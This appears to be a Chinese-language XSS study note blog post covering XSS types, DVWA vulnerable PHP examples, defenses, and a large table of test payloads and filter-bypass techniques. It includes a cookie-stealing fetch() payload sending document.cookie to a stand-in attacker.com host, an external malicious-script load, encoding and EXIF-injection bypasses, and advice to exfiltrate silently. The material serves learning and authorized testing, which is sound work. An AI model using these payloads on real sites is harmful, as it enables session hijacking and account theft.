网络安全中级阶段学习笔记(三):XSS 漏洞学习笔记(原理、分类、利用与防御、POC大全)

本文所有知识点均用于网络安全防御技术学习 ,攻击手段仅可在合法授权的测试环境 中使用。未经授权侵入他人系统、窃取信息属违法行为,将承担相应法律责任。网络安全的核心是 "攻防兼备",掌握攻击手段的同时,更要牢记防护使命,共同维护网络空间安全。

目录

[一、XSS 漏洞基础认知](#一、XSS 漏洞基础认知)

[1. 核心定义](#1. 核心定义)

[2. 核心依赖技术](#2. 核心依赖技术)

[3. 攻击危害](#3. 攻击危害)

[二、XSS 漏洞三大分类(核心重点)](#二、XSS 漏洞三大分类(核心重点))

[1. 分类对比总表](#1. 分类对比总表)

[2. 各类型攻击流程](#2. 各类型攻击流程)

[(1)反射型 XSS 攻击流程](#(1)反射型 XSS 攻击流程)

[(2)存储型 XSS 攻击流程](#(2)存储型 XSS 攻击流程)

[(3)DOM 型 XSS 攻击流程](#(3)DOM 型 XSS 攻击流程)

[3. 源码分析示例](#3. 源码分析示例)

[(1)反射型 XSS(DVWA 示例)](#(1)反射型 XSS(DVWA 示例))

[(2)存储型 XSS(DVWA 示例)](#(2)存储型 XSS(DVWA 示例))

[三、XSS 漏洞挖掘与利用](#三、XSS 漏洞挖掘与利用)

[1. 手工挖掘步骤](#1. 手工挖掘步骤)

[2. 常见 POC 测试代码](#2. 常见 POC 测试代码)

[3. 常见绕过技巧](#3. 常见绕过技巧)

[四、XSS 漏洞防御方案](#四、XSS 漏洞防御方案)

[1. 防御体系总览](#1. 防御体系总览)

[2. 核心防御手段详解](#2. 核心防御手段详解)

[五、XSS 漏洞测试 POC 大全:分类、场景与绕过方案](#五、XSS 漏洞测试 POC 大全:分类、场景与绕过方案)

[1、基础验证类 POC(通用检测)](#1、基础验证类 POC(通用检测))

[2、按 XSS 类型分类 POC](#2、按 XSS 类型分类 POC)

[2.1. 反射型 XSS 专用 POC](#2.1. 反射型 XSS 专用 POC)

[2.2. 存储型 XSS 专用 POC](#2.2. 存储型 XSS 专用 POC)

[2.3. DOM 型 XSS 专用 POC](#2.3. DOM 型 XSS 专用 POC)

[3、绕过过滤类 POC(进阶)](#3、绕过过滤类 POC(进阶))

[3.1. 关键词过滤绕过](#3.1. 关键词过滤绕过)

[3.2. 字符编码绕过](#3.2. 字符编码绕过)

[3.3. 特殊字符与逻辑绕过](#3.3. 特殊字符与逻辑绕过)

4、工具与实战辅助

[4.1. POC 生成与测试工具](#4.1. POC 生成与测试工具)

[4.2. 实战注意事项](#4.2. 实战注意事项)

[5、POC 使用风险提示](#5、POC 使用风险提示)


一、XSS 漏洞基础认知

1. 核心定义

XSS(Cross Site Script)即跨站脚本攻击,是 Web 应用中常见的安全漏洞。攻击者将恶意脚本(多为 JavaScript)植入网站页面,当用户访问页面时,脚本被浏览器执行,从而实现窃取信息、劫持会话等攻击目的。其本质是恶意代码未经过滤与正常代码混合执行,浏览器无法区分脚本可信度。

2. 核心依赖技术

技术类型 核心作用 关键知识点
HTML 页面结构载体 支持表单提交、标签嵌套,单标签(<img/>)、双标签(<script></script>)均可作为注入入口
JavaScript 恶意行为实现 可操作 DOM、获取 Cookie、发起请求,核心弹框函数:alert ()、confirm ()、prompt ()
Cookie/Session 会话跟踪 Cookie 存储在客户端(4KB 限制),Session 存储在服务器,均为 XSS 攻击常见目标

3. 攻击危害

  1. 基础危害:页面弹框骚扰、刷流量、网站挂马
  2. 核心危害:Cookie 盗取、会话劫持、账号被盗、用户提权
  3. 高级危害:DDOS 攻击、蠕虫传播(如新浪微博 XSS 蠕虫)、键盘监控、钓鱼诱导

二、XSS 漏洞三大分类(核心重点)

1. 分类对比总表

分类 别名 产生层面 存储特性 触发条件 危害等级 典型场景
反射型 XSS 非持续型、参数型 前端 不存储 用户点击恶意 URL 中 搜索框、URL 参数传递
存储型 XSS 持续型 后端 存储于数据库 访问含恶意代码页面 高 留言板、评论区、博客日志
DOM 型 XSS 前端型 前端 不存储 浏览器解析 DOM 中 基于 JS 动态渲染的页面

2. 各类型攻击流程

(1)反射型 XSS 攻击流程
(2)存储型 XSS 攻击流程
(3)DOM 型 XSS 攻击流程

3. 源码分析示例

(1)反射型 XSS(DVWA 示例)
php 复制代码
// 核心问题:未过滤用户输入
if(array_key_exists("name", $_GET) && $_GET['name'] != NULL) {
    echo '<pre>Hello ' . $_GET['name'] . '</pre>';
}
(2)存储型 XSS(DVWA 示例)
php 复制代码
// 核心问题:仅过滤SQL注入,未过滤XSS代码
$message = stripslashes($_POST['mtxMessage']);
$message = mysql_real_escape_string($message); // 仅防SQL注入
$query = "INSERT INTO guestbook (comment, name) VALUES ('$message', '$name')";

三、XSS 漏洞挖掘与利用

1. 手工挖掘步骤

2. 常见 POC 测试代码

标签类型 核心 POC 代码 适用场景
<script> <script>alert(1)</script> 无过滤的输入框、URL 参数
<script src=http://xxx/xss.js\></script> 需要加载外部恶意脚本时
<img> <img src=x οnerrοr=alert('xss')> 单标签注入场景(如头像评论)
<img src=# οnmοuseοver="alert(1)"> 触发鼠标悬浮事件
<a> <a href=javascript:alert ('xss')> 点击</a> 超链接跳转场景
<input> <input οnclick=alert(3) value="点击测试"> 表单元素注入

3. 常见绕过技巧

绕过类型 方法示例 原理
大小写绕过 <ScRiPt>alert(1)</ScRiPt> HTML 标签大小写不敏感
双写绕过 <sc<script>ript>alert(/xss/)</script> 绕过简单关键词过滤
标签闭合绕过 "><script>alert(1)</script> 闭合原有标签,插入新脚本
编码绕过 十六进制编码:<img src=x οnerrοr=&#x61;lert(1)> 绕过字符检测,浏览器自动解码
混淆绕过 插入空格 / 回车:<img src=x οnerrοr=alert(1)> 绕过严格的格式检测

四、XSS 漏洞防御方案

1. 防御体系总览

防御层面 核心措施 具体实现
前端防御 输入验证、JS 过滤 限制输入长度,过滤特殊标签关键词
后端防御 输出编码、数据过滤 HTML 实体编码(<→<),白名单验证
环境防御 CSP 策略、HttpOnly 标记 禁止外域脚本,保护 Cookie 不被读取
硬件防御 WAF 部署 拦截已知 XSS 攻击特征

2. 核心防御手段详解

  1. CSP 内容安全策略
    • 禁止加载外域代码,防止复杂攻击逻辑
    • 禁止内联脚本执行(如 GitHub 采用),限制未授权脚本运行
  2. HttpOnly Cookie 设置
    • 为 Cookie 添加 HttpOnly 属性,阻止 JavaScript 获取,从根源防止 Cookie 被盗
  3. 输入输出双验证
    • 输入验证:优先白名单(仅允许指定字符 / 格式),黑名单辅助(过滤<script>、onerror 等)
    • 输出编码:所有用户输入内容输出前进行 HTML 编码,转换特殊字符

五、XSS 漏洞测试 POC 大全:分类、场景与绕过方案

1、基础验证类 POC(通用检测)

此类 POC 用于快速验证 XSS 漏洞是否存在,核心通过弹窗函数触发可视化反馈,适用于反射型、存储型、DOM 型 XSS 的初步检测。

功能类型 POC 代码 适用场景 注意事项
基础弹窗 <script>alert(1)</script> 无过滤的输入框、URL 参数、留言板 现代浏览器可能拦截innerHTML插入的<script>标签,优先用于服务端直接输出场景
确认弹窗 <script>confirm('XSS验证')</script> 需用户交互确认的场景,避免误判 弹窗含 "确定 / 取消" 按钮,可辅助区分真实漏洞与误报
输入弹窗 <script>prompt('请输入', 'XSS')</script> 需获取用户输入的测试(如模拟钓鱼) 可用于验证脚本执行时的交互能力
单标签弹窗 <img src=x onerror=alert(1)> 过滤<script>标签但允许<img>的场景 src=x为无效值,触发onerror事件执行脚本,兼容性强
超链接触发 <a href=javascript:alert(1)>点击测试</a> 输入内容被渲染为超链接的场景(如评论区链接) 需用户点击链接触发,适用于href属性未过滤的情况

2、按 XSS 类型分类 POC

2.1. 反射型 XSS 专用 POC

反射型 XSS 依赖 URL 参数或表单提交,POC 需适配 "参数拼接" 场景,常见于搜索框、登录页、URL 参数回显等位置。

应用场景 POC 代码 原理说明
GET 参数注入 http://target.com/search?key="><script>alert(1)</script> 闭合 URL 参数原有引号,插入脚本标签,服务端拼接后返回执行
表单提交注入 "><script>alert(document.domain)</script> 表单输入框中闭合value属性(如value="注入内容"),提交后服务端直接输出
事件触发绕过 <input type=text onfocus=alert(1) autofocus> 利用autofocus自动获取焦点,触发onfocus事件,适用于过滤<script>但允许事件属性的场景
多标签组合 <svg onload=alert(1)> SVG 标签支持onload事件,无需用户交互,可绕过部分标签过滤
2.2. 存储型 XSS 专用 POC

存储型 XSS 需长期留存于数据库(如留言板、评论区、用户资料),POC 需兼顾 "持久性" 与 "隐蔽性",避免触发网站内容审核。

应用场景 POC 代码 原理说明
留言板注入 <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> 静默窃取 Cookie 并发送至攻击者服务器,无弹窗避免被发现
用户资料注入 <img src=https://attacker.com/avatar.jpg onerror=alert(1)> 伪装成图片链接,加载失败时触发onerror执行脚本,隐蔽性强
富文本编辑器注入 <iframe src="javascript:alert(1)" width=0 height=0></iframe> iframe 标签隐藏(宽高为 0),静默执行脚本,适用于富文本未过滤 iframe 的场景
长文本分段注入 <div onmouseover=alert(1)>测试内容<br>滚动到此处触发</div> 利用onmouseover事件,用户滚动到文本位置时触发,避免直接弹窗被拦截
2.3. DOM 型 XSS 专用 POC

DOM 型 XSS 由前端 JS 解析触发,不经过服务端,POC 需适配location.hash、document.URL、innerHTML等客户端 API 场景。

应用场景 POC 代码 原理说明
hash 参数注入 http://target.com/#<img src=x onerror=alert(1)> 利用window.location.hash(# 后内容)不发送至服务端的特性,前端 JS 读取后直接渲染
URL 解析注入 http://target.com/?msg=<script>alert(document.URL)</script> 前端 JS 通过document.URL获取参数并使用innerHTML渲染,未过滤导致执行
DOM 节点操作 #' onclick="alert(1)"> 闭合原有 DOM 标签的单引号,插入onclick事件,点击页面元素时触发(如搜索结果回显)
本地存储注入 <script>localStorage.setItem('xss', 'alert(1)');eval(localStorage.xss)</script> 利用localStorage存储脚本,再通过eval执行,适用于依赖本地存储的前端页面

3、绕过过滤类 POC(进阶)

针对网站存在的过滤规则(如关键词拦截、字符编码限制),需通过变形、编码、混淆等方式构造 POC。

3.1. 关键词过滤绕过
过滤规则 绕过 POC 原理
过滤<script>标签 <sc<script>ript>alert(1)</sc</script>ript> 双写敏感词,服务端过滤一次后残留有效<script>标签
过滤on事件 <img src=x oonnerror=alert(1)> 双写事件属性关键词(如onerror→oonnerror),过滤后恢复正常属性
过滤javascript协议 <a href=java&#115;cript:alert(1)>点击</a> HTML 实体编码script中的s(s),浏览器解析时自动解码
大小写过滤 <sCrIpT>alert(1)</ScRiPt> HTML 标签大小写不敏感,混合大小写绕过黑名单检测
3.2. 字符编码绕过
编码类型 绕过 POC 适用场景
HTML 实体编码 <img src=x onerror=&#97;&#108;&#101;&#114;&#116;(1)> alert函数编码为十进制实体,适用于输出位置支持实体解码的场景
URL 编码 http://target.com/search?key=%3Cscript%3Ealert(1)%3C/script%3E URL 参数编码<→%3C、>→%3E,适用于服务端未解码过滤的情况
Unicode 编码 <img src=x onerror=\u0061\u006C\u0065\u0072\u0074(1)> JavaScript Unicode 编码alert,适用于前端 JS 直接处理输入的场景
Base64 编码 <script src=data:text/javascript;base64,YWxlcnQoMSk=></script> 脚本内容 Base64 编码(alert(1)→YWxlcnQoMSk=),绕过文本内容检测
3.3. 特殊字符与逻辑绕过
过滤场景 绕过 POC 原理
强制要求含http:// <a href=javascript:alert(1)/*http://*/> 添加注释符/* */包裹http://,满足规则同时执行脚本
空格被替换为&nbsp; <img%0Asrc=x%0Aonerror=alert(1)> 使用换行符(%0A)替代空格,浏览器解析时忽略换行,正常识别属性
隐藏表单注入 ?t_sort=" onfocus=alert(1) type="text" 修改隐藏表单参数(如t_sort),添加type="text"使其可见,onfocus触发脚本
EXIF 信息注入 (需工具)使用 ExifTool 修改图片元数据:exiftool -Comment='<script>alert(1)</script>' test.jpg 图片上传功能未过滤 EXIF 信息,上传后页面渲染图片时执行元数据中的脚本

4、工具与实战辅助

4.1. POC 生成与测试工具
工具名称 功能 使用场景
XSStrike 自动化生成绕过 POC、检测 XSS 漏洞 批量测试 URL 参数、表单输入,支持多种绕过策略
Burp Suite 拦截请求修改参数,插入 POC 手动测试表单提交、HTTP 头注入(如 Referer、User-Agent)
Tiny XSS Payloads 精简 POC 集合,含浏览器兼容性标注 针对不同浏览器(Chrome/Firefox/Safari)选择有效 POC
在线编码工具 (如 Matools)转换 HTML/URL/Unicode 编码 快速生成编码绕过型 POC,避免手动计算
4.2. 实战注意事项
  1. 隐蔽性优先 :真实测试中避免使用alert弹窗,优先用fetch或img标签静默发送数据(如窃取 Cookie)。
  2. 浏览器兼容性 :现代浏览器对innerHTML插入的<script>标签默认拦截,优先选择<img>、<svg>、<iframe>等标签的事件触发。
  3. 上下文适配 :根据注入位置调整 POC(如href属性用javascript:协议,div标签用onmouseover事件)。
  4. 防御绕过验证 :若网站启用 CSP,可尝试<style/onload=eval(name)>(需 CSP 允许内联样式)等特殊 POC。

5、POC 使用风险提示

  1. 仅在授权场景下使用 POC 测试(如自身搭建的靶场、客户授权的渗透测试),禁止未经允许测试第三方网站。
  2. 避免使用可能破坏业务的 POC(如大面积传播的 XSS 蠕虫、篡改页面内容的脚本)。
  3. 测试后及时清理存储型 XSS 的 POC 代码,避免影响其他用户。
相关推荐
QZ166560951596 小时前
金融数据流转监测排行:从看见到拦截的距离
网络·安全·网络安全·金融
看着博客敲代码7 小时前
WorkBuddy 接上 Kali MCP 做自动化渗透:信息收集到初步验证的落地记录
linux·人工智能·安全·网络安全·自动化
学逆向的9 小时前
C 突破编译器限制
c语言·开发语言·网络安全
看着博客敲代码12 小时前
Nmap NSE 资产指纹识别:从脚本输出到资产清单
安全·网络安全·自动化
m0_7156744313 小时前
金融数据流转监测排行:从看见到拦截的距离
大数据·网络·安全·网络安全·金融
学逆向的13 小时前
C 控制台指令
c语言·开发语言·网络安全
Fnetlink114 小时前
Fnet 云网安 261012
安全·web安全·网络安全
m0_5474866614 小时前
《网络与信息安全》全套PPT课件2026
网络·网络安全
Sayai15 小时前
Hadoop 集群安全加固实战:YARN 未授权访问漏洞修复,firewalld 白名单 + Nginx 反向代理 Basic Auth 全流程
运维·hadoop·nginx·安全·网络安全
白帽攻防录15 小时前
SRC 挖洞:Android 蓝牙预认证 RCE 深度复盘,CVE-2026-55330 怎么在蓝牙范围内零交互攻破手机
android·网络安全·智能手机·src漏洞挖掘